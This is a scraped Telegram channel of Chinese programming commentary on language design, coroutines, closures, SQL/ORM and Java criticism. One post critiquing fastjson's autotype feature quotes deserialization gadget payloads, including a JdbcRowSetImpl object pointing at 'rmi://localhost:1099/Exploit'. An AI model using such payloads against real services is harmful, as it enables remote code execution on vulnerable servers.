duangsuse::Echo
768 subscribers
4.41K photos
135 videos
583 files
6.7K links
import this:
美而不丑、明而不暗、短而不凡、长而不乱,扁平不宽,读而后码,行之天下,勿托地上天国。
异常勿吞,难过勿过,叹一真理。效率是很重要,盲目最是低效。
简明是可靠的先验,不是可靠的祭品。
知其变,守其恒,为天下式;穷其变,知不穷,得地上势。知变守恒却穷变知新,我认真理,我不认真。

技术相干订阅~
另外有 throws 闲杂频道 @dsuset
转载频道 @dsusep
极小可能会有批评zf的消息 如有不适可退出
suse小站(面向运气编程): a19a0b
Download Telegram
duangsuse::Echo
#huawei 虽然API上各方面都没啥突破(亦如ark.ts),但这个demo tutorial举例比rust,go的更有趣 可以说团队的脑子没有被八股文的驴踢 #锐评 https://t.iss.one/dsuses/5319
#java #ts https://www.zhihu.com/question/659506359/answer/3538805082?utm_id=0
看到“高级编程语言”的数据结构我就捉急呀。

类型就是表格。纵行是其变种,横列是其数据, obj :. A(x):; B(x) 手动模拟if isinstance多态性
表格可以相互混入,传参时只要有覆盖该表就能调用
若无构造器,默认定义为纯模板 fn?? ,亦可含fn?项
否则表格默认全员锁定!fn,相当于struct。 写明的fn用于扩充既有类型或seal接口
- f(x.[Int Str may2]) Col2(1 2).A
?? 'AB'Row fn
Col2(A.A B.B)
?? 'AB'may2
A(x.A); B(x.B)

这不轻松把OOP interface abstract open final enum ADT match 给讲明白了,顺便消除了“代数”数据与子类型的鸿沟,易读和扩展性全都要。本身就是小学生都能搞懂的把戏嘛,真是啰啰嗦嗦一大堆啊

什么积类型和类型,你是Prolog? 给你俩Byte你能穷举出256**2个值,那才叫 prod type! 然而自称支持这些的,你的 patten match 等号两边能反过来写吗?
moonbit和仓颉,主流语言的那些小九九一个也没落下。 您是为计算机系开心写代码,还是为使用者开心而写?

再比如Go的 struct mixin。OOP的inner class本意也是一样,可惜被执行坏了,结果反而不如FP的tuple拼接

其实哪有什么构造器呢?拿函数签名生成的新类型吧。不过就是你们在模仿gpt该做的烂活,或者请IDE“代码生成”。。明明语言从语法API就必须解决掉的东西

如果从更大的复用性来看“class”,90% 的情况都是把重复的args打包起来,避免传一大堆参、允许部分修改,比如那寥寥无几的 open fun,“函数值参数”

因此py即便不爱用class也不瓶颈到工程的规模、Go早期干脆不做泛型。捆绑几个参数嘛,dict更好做

至于协程(N:M线程),await和yield(then vs next)其实是一个东西,但前者更合理,因为它只是把回调交出去,然后自己return
yield看似符合直觉,但缺少了重要的东西,例如buffer N项一页yield 大家都不支持。我们真的缺语言级iter吗?
spawn{}隐藏了调度级的“异步”,线程随便开,这很好

cj的过程宏,目前 import std.ast.* 后可以parse FuncDecl 啥的,也有quote()内插,还算比rust易用

我们程序员的奇技淫巧很超前,我们的软件工艺落后太远。

btw. 官方文档注 https://zhuanlan.zhihu.com/p/704858976?utm_id=0
https://www.zhihu.com/question/523049017/answer/3537896490?utm_id=0
#learn #kt Benny霍评论区
协程 async。自动传回调、var都打包到其class因为,比如传给sleep()后自己要return。协程对象就比()->闭包多留个switch(nthStmt){}

把sleep()外提为赋值语句,以保留和恢复调用栈而已,linux单核调度多线程,甚至你调用IO时为了鉴权,也会这么干。 cat|head 不就会await您的键盘吗? read()就会suspend 1个C语言的“有栈”协程。
之所以要async,只是想节省pthread_create,因为你要拿mainloop去poll(定期/卡http的轮询) 触摸屏事件,设备资源是独占的。这和内核驱动(/dev/WebUSB) 才能导致死机蓝屏是一个道理

如果系统,比如Web APIs吧,只提供回调而禁止while(1),哪怕只支持epoll(查看监听)/select(poll多项),就根本不存在线程一词 -就像C里你并不知道read()本质上await在pipe前“生成器”的write()
--也有人叫它yield,那是因为我们不能靠return写入“文件变量”、不能重赋值函数参数以返回多个值.. 为此jspy还发明了“async*()=>生成器”..
完美复刻UI层State(val).onvar[]的轮子呢!可惜是难用难复用的阉割版。

VSCode只加两个js线程,就能运行得很稳,这难道不是App设计的常态吗?难道那些小程序比code更“架构”?
至于免锁或基于资源.transferTo()的多线程,WebGL/numpy/MapReduce(ForkJoin) 不需要重造OS 1Dispatcher:N Continuation(该叫class CPU: ()->isFinished吧)的轮子配什么池化,就能实现前后端们无法想象的性能提升。

ES5的 yield cont=>setTimeout(cont,1s) ,由awaiter链接timeout和g.next,已经是免编译协程API的巅峰了,Promise.then 只是省得你传cont回调。 当然,timeout也可能返回cont=> 所以then要能接受async()

另:JS是视 fetch(u,{abort:Signal}) 取消任务的,我不认为app里会需要一堆 coroScope{} 这样图文不符的结构。kt在UIUX界敢能和H5相比么?为什么语言多项功能,app的功能却少的可怜!

kt的结构化并发不比Go的WaitGroup(semaphore)有用,但新词一大堆,初心全忘了,开始比java还八股了。真可笑,屠龙者终成恶龙
那些比Promise更繁琐的,是毫无语意的知识,迟早被py AI自动完成。看来科学界也不喜欢代码圈整这些无聊的class

就问 https://python-future.org/ 2to3这么聪明又简洁的lib,java人们啥时候能学会?态度问题,不是智商低 #statement

协程线程进程,都是Job
jobs的管理上,除了^Z SIGHUP再 fg bg 恢复,内核还支持swap(整个系统的)内存页到SSD,甚至用CRIU直接把进程快照为文件。 这样的快照不仅能多拍,还可通过网络传输,简直易如截屏,又像 Termux.dev / Waydro.id / webvm.io 那样神奇;然而这样超越运行期的“时间魔法”,90%的编译器根本做不到,只能用reflect或asm模板这样的残次品搪塞;同理90%的语言里“函数值”都没有相等性--所谓闭包“值捕获”却并不能自动内联JSON,所谓RPC,protobuf还不如微软的COM,pwsh.NET普适
#os 在这一点上可比 #plt 的孤岛、围城,先进太多了
https://t.iss.one/dsuse/19341

https://kotlinlang.org/docs/coroutines-overview.html
https://github.com/youngyangyang04/TechCPP/blob/master/problems/为什么用户态和内核态的相互切换过程开销比较大.md
https://cht.sh/podman

podman run -dt -name cnt busybox /bin/sh -c 'i=0; while true; do echo $i; i=$((i + 1)); sleep 1; done'
podman container checkpoint cnt
podman container restore cnt

https://t.bilibili.com/948850441406382096
#reveng #java #net
>一眼盯疹,11年前的这编译器还不如EDSL,不就相当于加个auto x=mat2x2() ,这算什么简化gl

至少我手上需要读取fn.kwarg ,要提取({k=1})=>的默认,你说该不该留源码

jvm/clr那种栈机,高级版gnu dc, 一个jadx/dnspy就还原了,不il2cpp不混淆掉命名,怎么都没必要
py还默认发布pyc呢

duangsuse:
对了,说起来jvm->clr应该可以转化吧,这样就能用对方的反编译器

https://github.com/ikvmnet/ikvm/blob/main/README.md
- Convert bytecode to a .NET assembly to directly access its API in a .NET project

上位虚拟机当然能兼容执行jar了

dnSpy(wine) v6.final Install-Package IKVM
一共200m https://github.com/dnSpy/dnSpy/releases
https://github.com/ikvmnet/ikvm/releases/download/8.8.1/IKVM-8.8.1-image-net8.0-linux-x64.zip

可以配合调试 unity games https://github.com/K0lb3/UnityPy?tab=readme-ov-file#mesh
#java #news #algorithm https://www.ithome.com.tw/news/163820

当我听说这个月Gosling退休时,其实我挺开心的,因为java API在我看来普及了不少无语意的知识,为八股文爱好者提供了极大方便,可以说是糟粕
这样给程序员带来麻烦的老灯,退休当然是好事,让他们的OOP繁衍下去是浪费人类的逻辑

但另一方面,这并不是JDK本身或 Doug Lea 等工程师的问题。与C++相比,java并不难。除了简化发布流程,还自带电池,提供了许多xml这类最终被滥用的工具
尽管在数据结构/IO上灵活性低,以及导致了十亿美元bug(nullish),java API并没有做错什么.

错就错在跨领域研究编程范式的人太少,以至于过去20年里没有新模型,Rust go 这些还是在拿interface 模仿OOP,没有一种把 json struct enum union override,FP 混合起来的通用编程方法
duangsuse::Echo
duangsuse: #kt #book 元编程 https://www.bilibili.com/video/BV1XH4y1w7mT https://drive.bennyhuo.com/zh-CN/talks/2018.11.17-%E4%BC%98%E9%9B%85%E5%9C%B0%E4%BD%BF%E7%94%A8%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B_final.pdf https://weread.qq.com/web/reader/f7632a00…
#java #plt Science Yuan:
静态和动态的元编程是完全不同的

duangsuse:
并不是,只是类型信息在不在javac -cp 里而已。 如果在,例如for(const getMethods..) 生成/加载元组是可行的
你说的「完全不一样」,无非是jdk区分了 lang.reflect vs APT lang.model,后者能访问的信息更少,至少不能对某个参数getset() ,更不能获取返回值,因为 @Marker()很难写在语句级,更不能作为表达式

但编译和eval()并不存在所谓的鸿沟,就连未知变量,例如 int[] a 吧,从里面生成静态slice(用于vararg强转&传参?),或者解构赋值,也只是loop unroll(见Zig)而已
无非是编译器弱智到只能检查类型解析个方法签名, a[i] 就只能生成 aload ,不能把i的值粘贴进去(二段求值), {x,y}就只能是anew,不能作为编译期的list生成 x=a[0]; y=..
--基本这只需要往str内联常量,也就是说 (unquote x[i] {i:1})
甚至x不知道,i:1编译期也算不出,unquote=eval 就能完美容错!

apt和XXpoet的弱智显然是不可理喻的,因为解释器、解析器更好实现 https://t.iss.one/kotlin_cn/105813

py不像js,它还是强检查的,js里甚至没有dataclass一说 一切皆字典
但这也有些坏处,就是元编程有些开销不完全与手写相等,这点我的 https://github.com/duangsuse-valid-projects/tkgui 通过缓存化eval很好解决了
这进一步说明,过程宏绝对不是rust! 那样的魔法,整个安卓所需的一切仅仅是 for(const x: T.vars) 的apt而已

lang.reflect 和Proxy都会在运行时生成字节码,更别说lang.invoke了,它会被查找并替换为具体的invoke字节码(例如被动态编译的 LambdaMetafactory(this,"methSig").invoke 方法)
这也是为什么Android重新实现了它们,要不然就要携带一个dx.jar作为类加载器动态翻译
Forwarded from dnaugsuz
#java oop 面试题 https://www.bennyhuo.com/2023/08/29/new-book-metaprogramming/#more

哈哈😄,这个好玩
1.(final T)在Gradle里是开发规范,但和final var一样对性能无影响 凑字数
final class是常用法,有些人在使用了虚方法(=构造期传函数)时会对其他项打final,幸好kt里是非open var即封闭、不可变

2final的类名上变量支持常量折叠如 if(DEBUG)
3 JVM.utf16文本相当于动态创建的enum,也就是低速拼接换高速equals,它的值不可替换,就像List.of().add()在运行时不可变,因此final不像rust,管不着Object函数内的重赋值
4lang.reflect.Field,Unsafe,Xposed可以
5直接共享,避免转移所有权
6可以装箱到堆上,例如AtomicInt,这样就能被非局部赋值了。 但更应该使用inline fun
py里 for 0~9: timer(it, lambda: say it) 只打印9,是它必须手写的原因
dnaugsuz
#java oop 面试题 https://www.bennyhuo.com/2023/08/29/new-book-metaprogramming/#more 哈哈😄,这个好玩 1.(final T)在Gradle里是开发规范,但和final var一样对性能无影响 凑字数 final class是常用法,有些人在使用了虚方法(=构造期传函数)时会对其他项打final,幸好kt里是非open var即封闭、不可变 2final的类名上变量支持常量折叠如 if(DEBUG) 3 JVM.utf16文本…
duangsuse:
nonlocal x=的那条? 总比在C++里到处[]() 或move||要好

大家都不知道闭包捕获引用这些,这首先就要把那些XXer 的SAM类变成函数,然后才有非局部赋值问题

java虽然总八股值和引用,但大家总是不重赋值或深拷贝
我举那个py的例子算是好的,因为py这个畜生是直接把局部创建的cell()给捕获了。。
for a[0] in range 是有效的,许多人搞不明白

duangsuse:
orm就是把class 带上where sort 绑定到sql TABLE
基本上还应该带pager

Spring负责把http路径转到类路径,绑定个函数签名

理论上,pgsql 应该直接回应http请求的😂
90%的代码不过是做鉴权这样的中间件AOP
这一切,都是从PHP和XMLHttpRequest开始
唉,万能http

所以说AOP啊,pre post一加
你看有多少不是纯CRUD

不少小公司和C#的都是直接调用sql函数,不用后端
结果最后还是让程序员充当aigc了是吧。。

那些代码看一眼都算码农啊。。
怎么能容忍90%都是跨端复制的逻辑呢?

你不写,他们也会以合规为由要求写
jpa难道不能和sql模板打配合?

graphql.io 好,百度也有个json ql叫啥 https://baidu.github.io/amis/zh-CN/components/crud?page=1
凑字数能力很强

#sql 可垃圾着呢,我还写过生成sql的查询语言 https://t.iss.one/dsuse/17740
读着自然?都是骗人的, SQsu 都比它更“人类”

select id from 狗 where (月龄>6 and 高>40);
aka 取狗(月龄>6 and 高>40)

正宗的关系式写法是:
狗(id,高,月龄), 月龄>6, 高>40

区区filterSort的模板不值得从ORM,CMS,低代码 这些里面分出个后端开发来
http路径就是类路径,类结构就是方便转码和校验sql数据

绝大部分的app并不需要后端框架,只要pg支持http风格的sql语句和json化,加个鉴权分页什么的。
如果不是pg存储过程的语法垃圾没类库,它就登顶了

#haha #bilibili
pg的存储函数没有类库,也不好 json io, java 才充当了这个协议转换垫片
因此许多SaaS对象存储都是NoSQL的,因为这种RPC架构冗余代码太多🌚

然而在EE程序员逆天才的智锐随变下,无论是生成xml或暴露路由表对象的服务器,绑定函数的方法都非常冗余, demo的匮乏程度更是让人叹为观止
甚至连五星逼格的rust都不禁这样评价:

它们好像连classpath就是URL模板的这回事都搞不清楚,方法签名绑定也做不好,还@什么原神数据来codegen😋
很牛逼吗?fastapi,django, 正常语言到处都在用,放javakt就是高手了,这是🐮逼还是装嫩?

完全无法理解MyBatis为什么比jpa流行,还煞有介事的搞面试题
一个 sql``${} 调用模板罢了
一个被专门做来AI生成的语言,那肯定是垃圾

甚至,ORM都是一种浪费,因为70%的字段根本不会被访问,只是复制到数据库,又复制回js或php式模板侧

连最基本的程数同构都没学过,compose 后才开始搞DSL,更谈何避免Header绑定和分页参数的重复、PUT DELETED POST三方法的多态融合,更别说理解http调用与sql、与bash命令行的同质了。

人家import fire可是0代码就能提供命令行,甚至colab UI。
java元编程能吗?逆天 才EE程序员没那个心智模型!🌝
#os 为什么 #js #java 选择了 UTF-16 (emoji 占2 codePoint)作为默认编码?
答:UTF-8 codec 要处理的情况大两百行
https://www.fxzhihu.com/question/652839772/answer/3472123259

- UNIX ASCII-7bit 现在一般被扩展为 Latin-1 (EASCII, 8bit), 均可包含 base64 z85
- utf8的兼容ascii只是伪兼容,例如strstr("abc","a")。很多情况utf8根本不能用ascii api? 不。 UTF-8 保证了同一码元,不同字节二进制前缀不同,不会混淆。

- UTF-16比int32(unicode scalar)有啥问题?比如国旗都是用两个 code point 表示的,存储成整数要 8 字节;有些 emoji 还是一个 ZWJ 序列(grapheme clusters), Family 就是七个 code point
#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡

fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁​还煞有介事在下面装无辜, 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK

# xx toJSONString : {"sale":{"price":0.5},"name":"Hollis"} 的类结构
.:
- Store-name-sale ["" IFruit]

.: IFruit
- Apple-price [0]
- Free

-xx Store "Hollis" (Apple 0.5)


这里有个问题, IFruit 其实是 sealed interface IfFruit{ Apple; Free } ,前者有"price":Int 后者没有field或setter,因此 parse<Store> ("{..}").sale as Apple 只能失败。

那 IFruit 凭啥能在无 backing field 的情况下被databind出来?new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错,他搞笑呢,从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢? 通过严格定义的 sealed/enum ADT{} ?通过XML?都不是,他懂, Auto "@type"...
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
// 正确做法
{"sale":{type: Apple, "price":0.5},"name":"Hollis"}
// Rust默认做法
name=Hollis
[sale]
Apple={price=0.5}

脚本引擎都弄出来了呀…… 这画风和js的JSON迥异,生硬如同 new WTF({kwarg:..})
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ,数不清的注入点。
{"@type": "jdk.jfr.internal.JVM", "memorySize": 1} , {@type":"com.ibatis.sqlmap.engine.transaction.jta ... 变游乐场了

第一次知道这么脑洞打开的 workaround ,是把 List<*> =Any 泛型擦除当真理了吗, 真当子类多态就是一切皆Object 一切有@type呢, 其实那就是 enum { A(int) B(str) } 的特例而已!👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法,开 1.2.25 blacklist 后 lazy(loadClass)("[Lcom.sun.rowset.JdbcRowSetImpl;") 等为方便ASM和反射也是合法类名,和温大佬异想天开的不一样, 修得和安卓 utf8_casefold 大小写合并bypass 一样弱智。真是不能期待他们在RCE 0day后,对OOP和json的强类型理解会有所反思,
因为直到 1.2.47 ,他都用类似 breakwa11 的黑名单「闭源」来防,拉黑算法还有bug…… 恕我直言,common sense 缺到有点好笑。 还@type呢, {"": "Apple"} 都是合法json,这不得快得废弃来?
(子类多态,var_a:T=b as T1 合法, Fn1<in T,out R> 就可以兼容赋值?super T ,override同理,这才叫懂八股..)

和log4j一样级别的。有时候我都好奇,在一个a[i]的 i±1 都绝对报错的代码世界,在try{return} 都会跳到finally{close..}的事务性严谨圈子里,在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下,SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物,硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的,代码和常量就这么拼接了?一个扁平一个嵌套分不清吗? 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ,这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事,真拿人html/DOM就瞎用,丢的岂止隐私?

唉,草台班子。 「你就说弹calc.exe快不快吧」
这不禁让我想到「一种游戏服务器RPC返回Object的方法」: 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效,能够安全写入? set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上,或ROP覆盖了return“回调”的函数呢,你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对?

libc 和 Linux 防但防不住的,就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks
duangsuse::Echo
😓 最近头疼死了,自己都跟不上自己设计的进步。 就拿序列化为例,之前我用 TrimLits+Imp[T](TParam..) 模式,它这样编解码 Pair(A:str,B:int) .: Pair-A-B ["" 0] .: Pair static As: (Pair "" 0) #空可变实例 Types: {} #非sealed Tvars: ["A" "B"] Tr-it-key: key :. #重载 "A": it.A=fmt -Tr(it.A) "B": it.B=fmt…
一个设计者就是这样推倒、再来、再推导、再来…… 😓 #life #statement

幸好,这是最后几朵乌云了, 只需要解决RPC的基本规范, HOLP的整个强类型IO体系就可以移植给java那些能丰富简历的平台了,
这个优雅到能放在README上的算法,肯定是能吊打JavaKt一众「魔法版」序列化库(至少 Fastjson https://t.iss.one/dsuse/20186 😅😅😅

当然,HOLP 被设计为「语言之中的语言」。它本身有自己类似yaml+bash的语法,独立于电脑而存在,却又能联合OOP+FP+SQL的代码范式。 只不过依我的元编程写法,Trim*这些技巧仿佛背后并不存在一个体系……
如果以后您能见到一些漂亮的语法,那大概是HOLPful的节选和变体
-user {-id "Amy" -age 20}
-vs {.id="Amy", .age=20, }
pass user
if u.age>18 {}
or u.age>10 {}
or u.age<0 not {} --or{NO}

class {
-Pair(A,B){}
-Tri(A,B,C){}
}
-tbl Tri{
1,2,3,
'a','b','c',
{-[]Pair{666,233}}
}
tbl [3]A pairs [1]B==233
tbl [2]C=='c'

-f(x,) {x+1}
pass fsql"SELECT 1, 2" for(2,) { A+B } -- bash式参数!


我总是在闭关,看起来很闲,但做的就是这样的工作。 七年的积攒,只能是为了开创性的工作。

如果我家人稍微不粉红那么一点,我就不需要急功近利,可以耐心归纳,代码质量想必能突破一个个「单一用途」的桎梏。
其实他们才是最不爱国的,和某公子一样,只爱自己赢。
#java https://t.iss.one/hyi0618/7581?comment=12882
https://t.iss.one/hyi0618/7581?comment=12886

🤓 🤔https://www.yinwang.org/blog-cn/2016/06/08/java-value-type

Valhalla
OpenJDK的一个重要项目,致力于为Java编程语言带来一系列深度改进,其主要特点包括:

引入值类型(Value Types) :这是对现有的Java对象模型的一种扩展,允许数据类型直接在栈上存储,减少不必要的内存开销和引用带来的额外成本,从而提高性能。

值类型在Java中没有ID标识,其相等性是基于深度的比较,而不是ID缓存的比较。

支持交集类型(mixin Intersection Types) :允许定义一个类型的子集,提供更加灵活的类型约束和接口设计。更精确地表达类型之间的关系,例如一个类可以同时实现多个接口,这些接口的组合可以形成一个新的类型。

改进泛型(Generics) :Valhalla项目对Java的泛型系统进行了改进,使其能够更好地支持值类型。通过引入泛型专业化(template<> Specialization),可以为带不同类型参数的变量,提供特定的编译.class,从而提高泛型代码的性能。


GraalVM 应该都支持了。 从OpenJDK的表述看,他们本来对 new Pair(1 2) 的 inline &JIT支持的不够好,减缓启动,现在Java也是抄了 #kt 的一大堆特性🤣 Int 不是class,自动un/boxing(栈内/栈外化) 也抄了

背景知识:
https://t.iss.one/dsuse/21164
https://t.iss.one/dsuse/21126
https://t.iss.one/kotlin_cn/134152
JVM给我的反馈太差了

洋洋洒洒写几百行,给人感觉全是形式主义

https://t.iss.one/dsuse/21177

Creative Coding 包括了整个Web开发,还能5行一个小功能

java里为了标一个List什么鬼写半天,还不如把docs完善一下

对项目结构没有自顶向下掌握,typehint是没意义的

如果不是组合某些API、注册某些Hook或回调需要java

我真的不想碰有编译步骤的语言

HTTP就是为了给java提供跨语言API的,说明java的心智模型本身语意性很差, 不适合做创新和设计

Ruby贡献了Github(Pages)
Rust贡献了Ruffle和许多新的开源CMS程序
JS贡献的 Reactive 比template高到不知哪里去了,还用JSON提了爬虫效率,减少无效的XML流量费
Python是现在的大热门,Rust都模拟不出numpy,Jupyter, torch 和各种跨界应用的语法 ,尽管py在DSL上是输给kt的

Java 除了大公司(谷歌都在抛弃、被众多H5替代)的屎山SQL代码鉴权验正则,还有什么技术力? 我觉得它最好的命运就是成为.class的运行时, 放弃这个丑陋的应付💩山专用的语法

Java那个 STR."" (var _1=ourSQL."SELECT {1}" ) 提案

算是给Batis这种弱智XML怪物一个正规化的方向,然而臃肿的垃圾JEP连自家的支柱业务都没法执行。

不难猜测,他们是对资深程序员的title路径依赖了,需要被Rust原神拉下神坛一下,才肯对自己作文跑题一般的API删繁就简,悔改🤣

dnaugsuz:
Java连个标准event冒泡都没有,UNIX Signal都是残的

和responsive+Reactive的适应性根本没法比
Compose和web生态比都不够格

ES6悔改了,接纳了箭头函数和解构,加上原来的原型链、反射Proxy

已经可以实现vue这样的大框架,而且还在进化
duangsuse::Echo
shunting-yard #parser #algorithm https://www.moonbitlang.cn/pearls/shunting-yard#:~:text=可以认为%20Shunting%20Yard%20是将%20Pratt%20Parser%20中隐含在调用栈里的机制转写为显式的栈操作 其实我会这个玩意(从Lua抄的,但基于调用栈而非[].push),但我一直不知道它叫啥 Yard 不过,现在我知道它是 Dijkstra 百年前为Algol60所创,就高兴了。以后谈RPN就可以提Dij的名字了😃
#plt #java #learn 张宏波系列
这个教程整体不错,但还是太刻板了,尤其是在这里比较数学上一个不相干的概念…… 为什么不说数学的“参数式函数” “隐函数”和python里有啥区别呢?
https://github.com/moonbitlang/contest-2025-data/blob/main/compiler-crash-course/05_closure.md#:~:text=原本对于一个函数是开放(open)的变量(也就是自由变量),%20被关闭(close)到了一个指定的变量作用域中,%20得到了一个“关闭的表达式”(closed%20expression)。%20这个名字再之后被缩短,就变成了和数学概念重名


“可露稀closure” 其实是对单方法对象(SAM) 的内存优化,其实现方法为“捕获capture”,就是把栈上字节copy到new结构里去,结构就叫闭包。

张强调的一点很对,就是libc提供了 signal(id, fn, arg0) 这种“KV注册”接口,但只传入fn也是可以的。 传入vtable+this 双指针(fat pointer)也是可以的,C.ABI.函数指针 能无缝衔接对象参数,要不然C++怎么那么轻松就火起来了。

闭包与纯粹的 (new Callable(nonlocal变量,)) .call() 区别在于,如果在frame返回前销毁,就不需要堆分配了,所以说它不是一个「语意上存在的特性」,只是new class{}对象的语法糖+inline优化。 这点和同样用“捕获”创建的协程(闭包链表Thenable),完全不同😒

nonlocal有很多名字,cellvar .py.rs, Upvalue.lua, LexicalScope ,但本质上,它和 class var 一样可写,因此在 |mut acc|{} capture 里,它会逼得外层函数也变成 new class {call(...){}} ,除非依赖 IntRef(0)这种autoboxing,即修正 "effective final" 错误。
当然这种错误真正的解法就是从OOP过程式-> Compose。 IntRef是不是和 let [get,set]=useHook(0) 的逻辑式变量很像?
Moonbit 的实现没有在DOM上,就不只是在set时更新一下 derived vars. dirty...

至于文顶的“自由变量”一般就是this变量或全局。 之所以自由,是因为暴露在API里不能随便“alpha-重命名”,相对于“绑定变量”来讲。 这一行谈纯理论,我说的不难受,但我猜读的人和我当时一样百思不得其解,什么栏目答演算。🤯

invokedynamic/LambdaMetafactory 其实就是这个“不逃逸优化”,没被存储到字段、传到其他线程、返回出去,零拷贝。 Serialization 的问题由JDK大佬 Brian Goetz @2014 PPT讲解过:
https://wiki.jvmlangsummit.com/images/7/7b/Goetz-jvmls-lambda.pdf#page=18
https://www.infoq.cn/article/brian_goetz_project_lambda_from_the_inside_interview#:~:text=你很难决定是否支持捕获可变局部变量、非局部控制流、异常透明度和其他的特性,并且放弃其中一些特性意味着它们很难自然地表达。

Goetz这个说的道理。这不比莫名其妙扯到数学的科班好了? fyi. #Kotlin 支持它们全部
#ai锐评 https://x.com/i/grok/share/UEs8sZtds1l1XxWqwWUFijyIj
再谈「指针vs对象表示」问题😒
其实这些,都是从解释器到cpu的优化,或者说是试图把 [1,2,3].[0~1]=> ptr+len, Animal{Duck;Cat}=>type+data 编码为x86能计算或跳过的字节,避免「中间商赚差价」(LLVM 就不是中间商了, hh
我们操作的是变量树,指针和堆栈并非「语意上存在的特性」,所以cpy它丫的 sizeof(一个int)==28 😓……
当然,这些VM数据结构的心智开销很小,感兴趣的可放心阅读。

C++-style lambdas 张宏波系列 https://thephd.dev/the-cost-of-a-closure-in-c-c2y
模仿 esm.run,git 的“一切皆文本”编程语言: scrapscript.org
GC/Rc 的最终 https://x.com/i/grok/share/ULJQCSOhg56OCZiY84f29lPZO
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
https://particlesgl.naughtyduk.com/demos/demo-3 经典鼠标粒子,但 js 库
这个作者还怪可惜的。。就开源了4个GL库,都是精品,最多0.2k star
https://liquidgl.naughtyduk.com/demos/demo-2

可能更适合作为 AfterFX 插件吧。
相比之下, https://github.com/rdev/liquid-glass-react 20倍流量于他,一个demo都交付不好(doesn't fully work in Safari and Firefox)

https://github.com/Kyant0/AndroidLiquidGlass/blob/master/backdrop/src/main/java/com/kyant/backdrop/effects/Lens.kt 更是🤡,就一百行shader用几十个 #kt 来封装? 一个粘合剂比真算法戏还多,liquidgl.js虽然有2k行但还能读

真是幸亏我从 #java 世界抽身的快,不然现在还在让AI帮编译器和“API文档”写代码呢!🤪

有些软件生态,有毒。 AI都能帮我们写 dead code 了,还在搞形式主义呢😅
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
🌚不要以为我会认真看公式,我也讨厌它们。看公式是AI的文化
老师不会告诉你:盲盒是睁眼放进去的,第零版公式是人手改出来的)
我的 #cs 哲学就是计科无界,如果你学会了什么,但不能把它“代入”生活中随手就来,就并不是学到了技术,而是借来了「技术债务」

咱这些东西虽然看起来很廉价,但除我以外,我还没有找到其他信源可以有这种节奏的output。

没错,CG是不需要“维护”工程,但整个Web/Electron(VSCode..) 世界都是这样的 "灵活",所以Web把安卓 #Java 干掉了。

希望大家也找到真正为自己服务,而不是让自己成为仆人的编程平台
😃

let s = 14

function setup() {
createCanvas(windowWidth, windowHeight);
textFont('monospace'); // 保持列对齐
drops = Array(width / s |0).fill(1); // 整数化列数, 起始 y 坐标1
}

function draw() {
// 核心魔法:不完全清空画布,形成拖影 (Trail Effect)
// background(0, 15) 表示黑色,透明度为 15 (0-255)
background(0, 15);
textSize(s); fill(0, 255, 0); // 设置填充颜色为绿色 (#0F0)

drops.forEach((y, i) => {
// 0x30A0 是片假名的起始 Unicode 编码
// 随机选择一个片假名字符
let textChar = String.fromCharCode(0x30A0 + floor(random(96)))
text(textChar, i * s, y * s); // 在画布上绘制字符

// 如果字符超出画布底部,3% 概率重置回顶部
if (y * s > height && random() > 0.975) {
drops[i] = 0; // 重置 y 坐标为 0
}
drops[i]++; // 让字符继续下落
});
}

😅一看就知道Gemini这是学了某位日本 minimalist 大佬, : P
[reGL matrix ] [tixy => (1-(sin(x*7)-(y/15)+(t+2))%1)/3)] 带filter辉光特效,支持3D视觉,支持开源硬件的。 人家的理解更是1行级,纯函数😅

10行实现3.7kstar的C语言工作量。 还是不能和全民制作人比啊,可叹可叹 (虽然我也是PLT界的“制作人”之一,所谓会者不难)

为什么能这么轻松的实现我 #linux er 时期 apt install 半天的vfx呢? H5的成熟与http “动态绑定”当然是基础,但更重要的秘诀是,现在的我是先vibe出结果,再回忆起 "cmatrix" 这个名字。😝

绝大多数程序员是被“名字”困住的。他们想做“黑客帝国特效”,大脑的第一反应是去 Github 搜 cmatrix (我当然也刷到过),或 digital rain library。

框住了——你必须去阅读别人的文档、理解别人的 API、处理别人的 Bug。
你在消费别人的黑盒。你是别人的学徒,哪怕别人是史上的状元,他的技术也不是你的
或许…… 你会写“天才”所创的算法,但他的问题也不是你的。 你没有「切身之痛」,不知道RegExp为何而诞生,所以你不会成为第二个Dijkstra或Larry Wall,你只是这几十年里,数万万个会缝合深奥算法的高级裁缝之一。

咱是根据领域模型确认它可行,然后默认咱要的东西—— API, SDK, 都存在于编程环境里了,我也不害怕它们不存在会怎样 。 所以我要的App也非常的 vibe,功能点跟着感觉走,唯独可靠性不是😒

我们没有痛过,所以我们只是在“消费”算法,而不是“孕育”算法。
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
